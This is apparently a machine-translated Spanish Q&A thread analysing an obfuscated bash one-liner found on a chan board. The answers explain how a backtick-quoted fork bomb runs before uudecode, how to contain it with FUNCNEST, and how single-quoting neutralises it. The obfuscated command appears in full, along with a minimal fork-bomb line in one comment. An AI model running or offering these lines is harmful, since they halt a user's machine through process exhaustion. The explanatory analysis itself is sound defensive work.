Encontrado en un tablero chan aleatorio:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
De alguna manera, ejecutar esto da como resultado un proceso de generación infinita que se ejecuta desenfrenada y detiene la máquina. Veo algo sobre "su" que intenta ser ejecutado en numerosas ocasiones.
... lo cual es extraño, porque solo esperaría que el texto salga, no la ejecución de nada.
Ejecutar este texto a través de un decodificador en línea solo me da un lote de arrojo binario:
¿Qué está haciendo realmente este lío de texto? ¿Hay alguna forma de verlo "con seguridad"?
Respuestas:
Primero, veamos todo el comando:
Contiene una cadena entre comillas dobles a la que se hace eco
uudecode
. Pero, tenga en cuenta que, dentro de la cadena entre comillas dobles hay una cadena entre comillas . Esta cadena se ejecuta . La cadena es:Si observamos lo que contiene, vemos tres comandos:
Realizando la expansión de llaves en el comando central, tenemos:
La primera línea intenta ejecutar un comando sin sentido en segundo plano. Esto no es importante.
La segunda línea es importante: define una función
r
que, cuando se ejecuta, lanza dos copias de sí misma. Cada una de esas copias, por supuesto, lanzaría dos copias más. Y así.La tercera línea corre
r
, iniciando la bomba tenedor.El resto del código, fuera de la cadena entre comillas, no tiene sentido para la ofuscación.
Cómo ejecutar el comando de forma segura
Este código se puede ejecutar de forma segura si establecemos un límite en el nivel de anidación de la función. Esto se puede hacer con la
FUNCNEST
variable de bash . Aquí, lo configuramos2
y esto detiene la recursividad:Los mensajes de error anteriores muestran que (a) los comandos sin sentido
rYWdl
yY29j
no se encuentran, (b) la bomba de horquilla se detiene repetidamente por FUNCNEST, y (c) la salida deecho
no comienzabegin
y, en consecuencia, no es una entrada válida parauudecode
.La bomba tenedor en su forma más simple.
¿Cómo sería la bomba tenedor si eliminamos el oscurecimiento? Como sugieren njzk2 y gerrit, se vería así:
Podemos simplificar eso aún más:
Consiste en dos declaraciones: una define la función fork-bomb
r
y la segunda se ejecutar
.Todo el otro código, incluida la tubería
uudecode
, estaba allí solo para el oscurecimiento y la mala dirección.La forma original tenía otra capa de dirección errónea.
El OP ha proporcionado un enlace a la discusión de la junta directiva en la que apareció este código. Como se presentó allí, el código se veía así:
Observe uno de los primeros comentarios sobre este código:
En la forma en el tablero del canal, uno pensaría ingenuamente que el problema sería la
eval
declaración que opera en la salida deuudecode
. Esto llevaría a pensar que eliminar eliminaríaeval
el problema. Como hemos visto anteriormente, esto es falso y peligroso.fuente
uudecode
aquí es completamente irrelevante. Por un momento pensé queuudecode
estaba realizando una interpolación de cadenas entre comillas que lo volvería fundamentalmente inseguro, pero la bomba de horquilla ocurre antes de que se inicie uudecode.&
no:echo "`r()(r&r);r`"
.Para responder a la segunda parte de su pregunta:
Para desactivar esta cadena, reemplace las comillas dobles externas por comillas simples y escape de las comillas simples que ocurren dentro de la cadena. De esta manera, el shell no ejecutará ningún código, y en realidad está pasando todo directamente a
uudecode
:Se observan otras alternativas en los comentarios:
Kasperd sugirió :
Jacob Krall sugirió usar un editor de texto, pegar el contenido y luego pasar ese archivo a uudecode.
fuente
uudecode
en la línea de comando. Presione enter. Copie y pegue la cadena a decodificar.uudecode
.echo "foo`die`bar'`die`'baz"
primero! Es decir, si tiene alguna'
s, entonces reemplazar las comillas con comillas simples no será suficiente.A primera vista, puede pensar que la salida al shell nunca se ejecutará . Esto sigue siendo cierto . El problema ya está en la entrada . El truco principal aquí es lo que los programadores llaman precedencia del operador . Este es el orden en que el shell intenta procesar su entrada:
El error es pensar que ese
echo
sería el primer comando que se ejecutará,uudecode
el segundo. Ambos nunca serán alcanzados.Conclusión: las comillas dobles siempre son peligrosas en el shell.
fuente